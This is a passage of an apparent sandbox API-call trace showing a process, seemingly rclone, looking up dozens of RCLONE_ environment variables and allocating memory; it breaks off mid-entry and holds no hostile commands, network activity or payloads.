GetEnvironmentVariableW (in: lpName="RCLONE_DIFFER", lpBuffer=0xc0009069c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.495] GetEnvironmentVariableW (in: lpName="RCLONE_ERROR", lpBuffer=0xc000906a90, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.495] GetEnvironmentVariableW (in: lpName="RCLONE_DEST_AFTER", lpBuffer=0xc000906b60, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.495] GetEnvironmentVariableW (in: lpName="RCLONE_FORMAT", lpBuffer=0xc000906c30, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.496] GetEnvironmentVariableW (in: lpName="RCLONE_TIMEFORMAT", lpBuffer=0xc000906d00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.496] GetEnvironmentVariableW (in: lpName="RCLONE_SEPARATOR", lpBuffer=0xc000906dd0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.496] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_SLASH", lpBuffer=0xc000906ea0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.496] GetEnvironmentVariableW (in: lpName="RCLONE_HASH", lpBuffer=0xc000906f70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.496] GetEnvironmentVariableW (in: lpName="RCLONE_FILES_ONLY", lpBuffer=0xc000907040, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.496] GetEnvironmentVariableW (in: lpName="RCLONE_DIRS_ONLY", lpBuffer=0xc000907110, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.496] GetEnvironmentVariableW (in: lpName="RCLONE_CSV", lpBuffer=0xc0009071e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.496] GetEnvironmentVariableW (in: lpName="RCLONE_ABSOLUTE", lpBuffer=0xc0009072b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.496] GetEnvironmentVariableW (in: lpName="RCLONE_POLL_INTERVAL", lpBuffer=0xc000907380, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.497] VirtualAlloc (lpAddress=0xc00090a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00090a000 [0184.498] GetEnvironmentVariableW (in: lpName="RCLONE_WRITE_JSON", lpBuffer=0xc000907450, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.498] GetEnvironmentVariableW (in: lpName="RCLONE_CHECK_NORMALIZATION", lpBuffer=0xc000907520, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.498] GetEnvironmentVariableW (in: lpName="RCLONE_CHECK_CONTROL", lpBuffer=0xc0009075f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.498] GetEnvironmentVariableW (in: lpName="RCLONE_UPLOAD_WAIT", lpBuffer=0xc0009076c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.498] GetEnvironmentVariableW (in: lpName="RCLONE_CHECK_LENGTH", lpBuffer=0xc000907790, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.498] GetEnvironmentVariableW (in: lpName="RCLONE_CHECK_STREAMING", lpBuffer=0xc000907860, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.498] GetEnvironmentVariableW (in: lpName="RCLONE_CHECK_BASE32768", lpBuffer=0xc000907930, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.498] GetEnvironmentVariableW (in: lpName="RCLONE_ALL", lpBuffer=0xc000907a00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.498] GetEnvironmentVariableW (in: lpName="RCLONE_KEEP_TEST_FILES", lpBuffer=0xc000907ad0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.498] GetEnvironmentVariableW (in: lpName="RCLONE_FILES", lpBuffer=0xc000907ba0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.498] GetEnvironmentVariableW (in: lpName="RCLONE_FILES_PER_DIRECTORY", lpBuffer=0xc000907c70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.498] GetEnvironmentVariableW (in: lpName="RCLONE_MAX_DEPTH", lpBuffer=0xc000907d40, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.499] GetEnvironmentVariableW (in: lpName="RCLONE_MIN_FILE_SIZE", lpBuffer=0xc000907e10, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.500] GetEnvironmentVariableW (in: lpName="RCLONE_MAX_FILE_SIZE", lpBuffer=0xc000907ee0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.500] VirtualAlloc (lpAddress=0xc00090c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00090c000 [0184.500] GetEnvironmentVariableW (in: lpName="RCLONE_MIN_NAME_LENGTH", lpBuffer=0xc00090c000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.500] GetEnvironmentVariableW (in: lpName="RCLONE_MAX_NAME_LENGTH", lpBuffer=0xc00090c0d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.500] GetEnvironmentVariableW (in: lpName="RCLONE_SEED", lpBuffer=0xc00090c1a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.500] GetEnvironmentVariableW (in: lpName="RCLONE_ZERO", lpBuffer=0xc00090c270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.500] GetEnvironmentVariableW (in: lpName="RCLONE_SPARSE", lpBuffer=0xc00090c340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.500] GetEnvironmentVariableW (in: lpName="RCLONE_ASCII", lpBuffer=0xc00090c410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.500] GetEnvironmentVariableW (in: lpName="RCLONE_PATTERN", lpBuffer=0xc00090c4e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.500] GetEnvironmentVariableW (in: lpName="RCLONE_CHARGEN", lpBuffer=0xc00090c5b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.500] VirtualAlloc (lpAddress=0xc00090e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00090e000 [0184.501] GetEnvironmentVariableW (in: lpName="RCLONE_SEED", lpBuffer=0xc00090c680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.501] GetEnvironmentVariableW (in: lpName="RCLONE_ZERO", lpBuffer=0xc00090c750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.501] GetEnvironmentVariableW (in: lpName="RCLONE_SPARSE", lpBuffer=0xc00090c820, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.501] GetEnvironmentVariableW (in: lpName="RCLONE_ASCII", lpBuffer=0xc00090c8f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.501] GetEnvironmentVariableW (in: lpName="RCLONE_PATTERN", lpBuffer=0xc00090c9c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.501] GetEnvironmentVariableW (in: lpName="RCLONE_CHARGEN", lpBuffer=0xc00090ca90, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.502] GetEnvironmentVariableW (in: lpName="RCLONE_NO_CREATE", lpBuffer=0xc00090cb60, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.502] GetEnvironmentVariableW (in: lpName="RCLONE_TIMESTAMP", lpBuffer=0xc00090cc30, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.502] GetEnvironmentVariableW (in: lpName="RCLONE_LOCALTIME", lpBuffer=0xc00090cd00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.502] GetEnvironmentVariableW (in: lpName="RCLONE_RECURSIVE", lpBuffer=0xc00090cdd0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.502] GetEnvironmentVariableW (in: lpName="RCLONE_ALL", lpBuffer=0xc00090cea0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.502] GetEnvironmentVariableW (in: lpName="RCLONE_DIRS_ONLY", lpBuffer=0xc00090cf70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.502] GetEnvironmentVariableW (in: lpName="RCLONE_FULL_PATH", lpBuffer=0xc00090d040, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.502] GetEnvironmentVariableW (in: lpName="RCLONE_NOREPORT", lpBuffer=0xc00090d110, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.502] GetEnvironmentVariableW (in: lpName="RCLONE_LEVEL", lpBuffer=0xc00090d1e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.502] GetEnvironmentVariableW (in: lpName="RCLONE_OUTPUT", lpBuffer=0xc00090d2b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.502] GetEnvironmentVariableW (in: lpName="RCLONE_SIZE", lpBuffer=0xc00090d380, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.502] GetEnvironmentVariableW (in: lpName="RCLONE_PROTECTIONS", lpBuffer=0xc00090d450, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.502] GetEnvironmentVariableW (in: lpName="RCLONE_QUOTE", lpBuffer=0xc00090d520, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.502] GetEnvironmentVariableW (in: lpName="RCLONE_MODTIME", lpBuffer=0xc00090d5f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.503] GetEnvironmentVariableW (in: lpName="RCLONE_UNSORTED", lpBuffer=0xc00090d6c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.503] GetEnvironmentVariableW (in: lpName="RCLONE_VERSION", lpBuffer=0xc00090d790, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.503] VirtualAlloc (lpAddress=0xc000910000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000910000 [0184.503] GetEnvironmentVariableW (in: lpName="RCLONE_SORT_MODTIME", lpBuffer=0xc00090d860, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.503] GetEnvironmentVariableW (in: lpName="RCLONE_SORT_CTIME", lpBuffer=0xc00090d930, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.503] GetEnvironmentVariableW (in: lpName="RCLONE_SORT_REVERSE", lpBuffer=0xc00090da00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.503] GetEnvironmentVariableW (in: lpName="RCLONE_DIRSFIRST", lpBuffer=0xc00090dad0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.503] GetEnvironmentVariableW (in: lpName="RCLONE_SORT", lpBuffer=0xc00090dba0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.503] GetEnvironmentVariableW (in: lpName="RCLONE_NOINDENT", lpBuffer=0xc00090dc70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.504] GetEnvironmentVariableW (in: lpName="RCLONE_CHECK", lpBuffer=0xc00090dd40, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.504] GetEnvironmentVariableW (in: lpName="RCLONE_CHECK", lpBuffer=0xc00090de10, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.504] GetEnvironmentVariableW (in: lpName="RCLONE_OUTPUT", lpBuffer=0xc00090dee0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.504] VirtualAlloc (lpAddress=0xc000912000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000912000 [0184.504] GetEnvironmentVariableW (in: lpName="RCLONE_STABLE", lpBuffer=0xc000912000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.504] GetEnvironmentVariableW (in: lpName="RCLONE_BETA", lpBuffer=0xc0009120d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.504] GetEnvironmentVariableW (in: lpName="RCLONE_VERSION", lpBuffer=0xc0009121a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.504] GetEnvironmentVariableW (in: lpName="RCLONE_PACKAGE", lpBuffer=0xc000912270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.509] VirtualAlloc (lpAddress=0xc000914000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000914000 [0184.509] VirtualAlloc (lpAddress=0xc000916000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000916000 [0184.510] VirtualAlloc (lpAddress=0xc000918000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000918000 [0184.510] VirtualAlloc (lpAddress=0xc00091a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00091a000 [0184.512] VirtualAlloc (lpAddress=0xc00091c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00091c000 [0184.512] VirtualAlloc (lpAddress=0xc00091e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00091e000 [0184.513] VirtualAlloc (lpAddress=0xc000920000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000920000 [0184.513] VirtualAlloc (lpAddress=0xc000922000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000922000 [0184.513] VirtualAlloc (lpAddress=0xc000924000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000924000 [0184.514] VirtualAlloc (lpAddress=0xc000926000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000926000 [0184.514] VirtualAlloc (lpAddress=0xc000928000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000928000 [0184.514] VirtualAlloc (lpAddress=0xc00092a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00092a000 [0184.515] VirtualAlloc (lpAddress=0xc00092c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00092c000 [0184.515] VirtualAlloc (lpAddress=0xc00092e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00092e000 [0184.516] VirtualAlloc (lpAddress=0xc000930000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000930000 [0184.516] VirtualAlloc (lpAddress=0xc000932000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000932000 [0184.516] VirtualAlloc (lpAddress=0xc000934000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000934000 [0184.517] VirtualAlloc (lpAddress=0xc000936000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000936000 [0184.518] VirtualAlloc (lpAddress=0xc000938000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000938000 [0184.518] VirtualAlloc (lpAddress=0xc00093a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00093a000 [0184.519] VirtualAlloc (lpAddress=0xc00093c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00093c000 [0184.519] VirtualAlloc (lpAddress=0xc00093e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00093e000 [0184.523] VirtualAlloc (lpAddress=0xc000940000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000940000 [0184.523] VirtualAlloc (lpAddress=0xc000942000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000942000 [0184.524] VirtualAlloc (lpAddress=0xc000944000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000944000 [0184.525] VirtualAlloc (lpAddress=0xc000946000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000946000 [0184.526] VirtualAlloc (lpAddress=0xc000948000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000948000 [0184.527] VirtualAlloc (lpAddress=0xc00094a000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00094a000 [0184.528] VirtualAlloc (lpAddress=0xc00094e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00094e000 [0184.528] VirtualAlloc (lpAddress=0xc000950000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000950000 [0184.533] VirtualAlloc (lpAddress=0xc000952000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000952000 [0184.534] VirtualAlloc (lpAddress=0xc000954000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000954000 [0184.534] VirtualAlloc (lpAddress=0xc000956000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000956000 [0184.540] VirtualAlloc (lpAddress=0xc000958000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000958000 [0184.543] VirtualAlloc (lpAddress=0xc00095c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00095c000 [0184.543] GetEnvironmentVariableW (in: lpName="RCLONE_ADDR", lpBuffer=0xc000912340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.543] GetEnvironmentVariableW (in: lpName="RCLONE_NAME", lpBuffer=0xc000912410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.543] GetEnvironmentVariableW (in: lpName="RCLONE_LOG_TRACE", lpBuffer=0xc0009124e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.543] GetEnvironmentVariableW (in: lpName="RCLONE_INTERFACE", lpBuffer=0xc0009125b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.543] GetEnvironmentVariableW (in: lpName="RCLONE_ANNOUNCE_INTERVAL", lpBuffer=0xc000912680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.543] GetEnvironmentVariableW (in: lpName="RCLONE_NO_MODTIME", lpBuffer=0xc000912750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.543] GetEnvironmentVariableW (in: lpName="RCLONE_NO_CHECKSUM", lpBuffer=0xc000912820, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.544] GetEnvironmentVariableW (in: lpName="RCLONE_NO_SEEK", lpBuffer=0xc0009128f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.544] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_CACHE_TIME", lpBuffer=0xc0009129c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.544] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_REFRESH", lpBuffer=0xc000912a90, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.544] GetEnvironmentVariableW (in: lpName="RCLONE_POLL_INTERVAL", lpBuffer=0xc000912b60, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.544] GetEnvironmentVariableW (in: lpName="RCLONE_READ_ONLY", lpBuffer=0xc000912c30, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.544] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MODE", lpBuffer=0xc000912d00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_POLL_INTERVAL", lpBuffer=0xc000912dd0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MAX_AGE", lpBuffer=0xc000912ea0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MAX_SIZE", lpBuffer=0xc000912f70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MIN_FREE_SPACE", lpBuffer=0xc000913040, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_CHUNK_SIZE", lpBuffer=0xc000913110, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_CHUNK_SIZE_LIMIT", lpBuffer=0xc0009131e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_PERMS", lpBuffer=0xc0009132b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_FILE_PERMS", lpBuffer=0xc000913380, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CASE_INSENSITIVE", lpBuffer=0xc000913450, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_BLOCK_NORM_DUPES", lpBuffer=0xc000913520, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_WRITE_WAIT", lpBuffer=0xc0009135f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_WAIT", lpBuffer=0xc0009136c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_WRITE_BACK", lpBuffer=0xc000913790, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_AHEAD", lpBuffer=0xc000913860, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_USED_IS_SIZE", lpBuffer=0xc000913930, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_FAST_FINGERPRINT", lpBuffer=0xc000913a00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.545] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_DISK_SPACE_TOTAL_SIZE", lpBuffer=0xc000913ad0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.546] VirtualAlloc (lpAddress=0xc00095e000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00095e000 [0184.547] VirtualAlloc (lpAddress=0xc000962000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000962000 [0184.548] GetEnvironmentVariableW (in: lpName="RCLONE_BASE_DIR", lpBuffer=0xc000913ba0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.548] GetEnvironmentVariableW (in: lpName="RCLONE_SOCKET_ADDR", lpBuffer=0xc000913c70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.548] GetEnvironmentVariableW (in: lpName="RCLONE_SOCKET_GID", lpBuffer=0xc000913d40, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.548] GetEnvironmentVariableW (in: lpName="RCLONE_FORGET_STATE", lpBuffer=0xc000913e10, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.548] GetEnvironmentVariableW (in: lpName="RCLONE_NO_SPEC", lpBuffer=0xc000913ee0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.548] VirtualAlloc (lpAddress=0xc000970000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000970000 [0184.548] GetEnvironmentVariableW (in: lpName="RCLONE_DEBUG_FUSE", lpBuffer=0xc000970000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.548] VirtualAlloc (lpAddress=0xc000972000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000972000 [0184.549] GetEnvironmentVariableW (in: lpName="RCLONE_ATTR_TIMEOUT", lpBuffer=0xc0009700d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.549] VirtualAlloc (lpAddress=0xc000974000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000974000 [0184.549] GetEnvironmentVariableW (in: lpName="RCLONE_OPTION", lpBuffer=0xc0009701a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.549] GetEnvironmentVariableW (in: lpName="RCLONE_FUSE_FLAG", lpBuffer=0xc000970270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.549] GetEnvironmentVariableW (in: lpName="RCLONE_DAEMON", lpBuffer=0xc000970340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.549] GetEnvironmentVariableW (in: lpName="RCLONE_DAEMON_TIMEOUT", lpBuffer=0xc000970410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.549] GetEnvironmentVariableW (in: lpName="RCLONE_DEFAULT_PERMISSIONS", lpBuffer=0xc0009704e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.549] GetEnvironmentVariableW (in: lpName="RCLONE_ALLOW_NON_EMPTY", lpBuffer=0xc0009705b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.549] GetEnvironmentVariableW (in: lpName="RCLONE_ALLOW_ROOT", lpBuffer=0xc000970680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.549] VirtualAlloc (lpAddress=0xc000976000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000976000 [0184.550] GetEnvironmentVariableW (in: lpName="RCLONE_ALLOW_OTHER", lpBuffer=0xc000970750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.550] GetEnvironmentVariableW (in: lpName="RCLONE_ASYNC_READ", lpBuffer=0xc000970820, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.550] GetEnvironmentVariableW (in: lpName="RCLONE_MAX_READ_AHEAD", lpBuffer=0xc0009708f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.550] GetEnvironmentVariableW (in: lpName="RCLONE_WRITE_BACK_CACHE", lpBuffer=0xc0009709c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.550] GetEnvironmentVariableW (in: lpName="RCLONE_DEVNAME", lpBuffer=0xc000970a90, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.550] GetEnvironmentVariableW (in: lpName="RCLONE_MOUNT_CASE_INSENSITIVE", lpBuffer=0xc000970b60, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.550] GetEnvironmentVariableW (in: lpName="RCLONE_DIRECT_IO", lpBuffer=0xc000970c30, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.550] GetEnvironmentVariableW (in: lpName="RCLONE_VOLNAME", lpBuffer=0xc000970d00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.550] GetEnvironmentVariableW (in: lpName="RCLONE_NOAPPLEDOUBLE", lpBuffer=0xc000970dd0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.550] VirtualAlloc (lpAddress=0xc000978000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000978000 [0184.550] GetEnvironmentVariableW (in: lpName="RCLONE_NOAPPLEXATTR", lpBuffer=0xc000970ea0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.550] VirtualAlloc (lpAddress=0xc00097a000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00097a000 [0184.551] GetEnvironmentVariableW (in: lpName="RCLONE_NETWORK_MODE", lpBuffer=0xc000970f70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.551] GetEnvironmentVariableW (in: lpName="RCLONE_DAEMON_WAIT", lpBuffer=0xc000971040, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.551] GetEnvironmentVariableW (in: lpName="RCLONE_NO_MODTIME", lpBuffer=0xc000971110, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.551] GetEnvironmentVariableW (in: lpName="RCLONE_NO_CHECKSUM", lpBuffer=0xc0009711e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.551] GetEnvironmentVariableW (in: lpName="RCLONE_NO_SEEK", lpBuffer=0xc0009712b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.551] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_CACHE_TIME", lpBuffer=0xc000971380, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.551] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_REFRESH", lpBuffer=0xc000971450, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.551] GetEnvironmentVariableW (in: lpName="RCLONE_POLL_INTERVAL", lpBuffer=0xc000971520, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.551] GetEnvironmentVariableW (in: lpName="RCLONE_READ_ONLY", lpBuffer=0xc0009715f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.551] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MODE", lpBuffer=0xc0009716c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.551] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_POLL_INTERVAL", lpBuffer=0xc000971790, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.551] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MAX_AGE", lpBuffer=0xc000971860, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.551] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MAX_SIZE", lpBuffer=0xc000971930, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.551] VirtualAlloc (lpAddress=0xc00097e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00097e000 [0184.552] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MIN_FREE_SPACE", lpBuffer=0xc000971a00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.552] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_CHUNK_SIZE", lpBuffer=0xc000971ad0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.552] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_CHUNK_SIZE_LIMIT", lpBuffer=0xc000971ba0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.552] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_PERMS", 